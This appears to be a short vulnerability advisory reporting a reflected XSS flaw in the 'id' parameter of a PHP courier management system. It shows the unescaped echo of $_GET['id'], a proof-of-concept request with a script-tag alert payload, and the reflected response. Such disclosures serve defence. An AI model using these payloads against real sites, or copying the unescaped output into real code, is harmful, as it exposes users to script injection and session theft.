

XSS injection vulnerability exists in 'id' parameter of manage\_parcel\_status.php file of Best courier management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

The screenshot displays a web application interface with a modal for updating parcel status. The modal contains a close button with an onclick attribute that includes a JavaScript alert. A browser's developer tools show the request and response, highlighting the alert payload.

```
<div class="modal-footer display p-0 m-0">
  <button class="btn btn-primary" form="update_status">Update</button>
  <button type="button" class="btn btn-secondary" onclick="uni_modal('Parcel's Details','view_parcel.php?id=<?php echo $_GET['id'] ?>','large')>Close</button>
</div>
```

Request:

```
1 GET /gaatitack/manage_parcel_status.php?cs=0&id=
2 [SCRIPT%20alert(9819)] HTTP/1.1
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 Referer: http://192.168.110.1/gaatitack/
6 Cookie: PHPSESSID=u9stn5dikjfon4sb75uu9m0epl
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
8 AppleWebKit/537.36 (KHTML, like Gecko)
9 Chrome/108.0.0.0 Safari/537.36
10 Host: 192.168.110.1
11 Connection: Keep-Alive
```

Response:

```
27 </div>
28 <!-- Author Name: Mayuri K.
29 for any PHP, Codeignitor, Laravel OR Python work
30 contact me at mayuri.infospace@gmail.com
31 Visit website : www.mayurik.com -->
32 </div>
33 <div class="modal-footer display p-0 m-0">
34 <button class="btn btn-primary" form="update_status"
35 >
36 Update
37 </button>
38 <button type="button" class="btn btn-secondary"
39 onclick="uni_modal('Parcel's
40 Details','view_parcel.php?id="
41 <script>
42 alert(9819)
43 </script>
44 ','large')>Close
45 </button>
46 </div>
47 <style>
48 #uni_modal.modal-footer{
49 display:none
50 }
51 #uni_modal.modal-footer.display{
52 display:flex
53 }
54 </style>
55 <script>
56 $('update_status').submit(function(e){
57 e.preventDefault()
58 start_load()
59 $.ajax({
```

Payload: id=""><ScRiPt%20alert(9819)</ScRiPt>

Source Download:

<https://www.sourcecodester.com/php/16848/best-courier-management-system-project-php.html>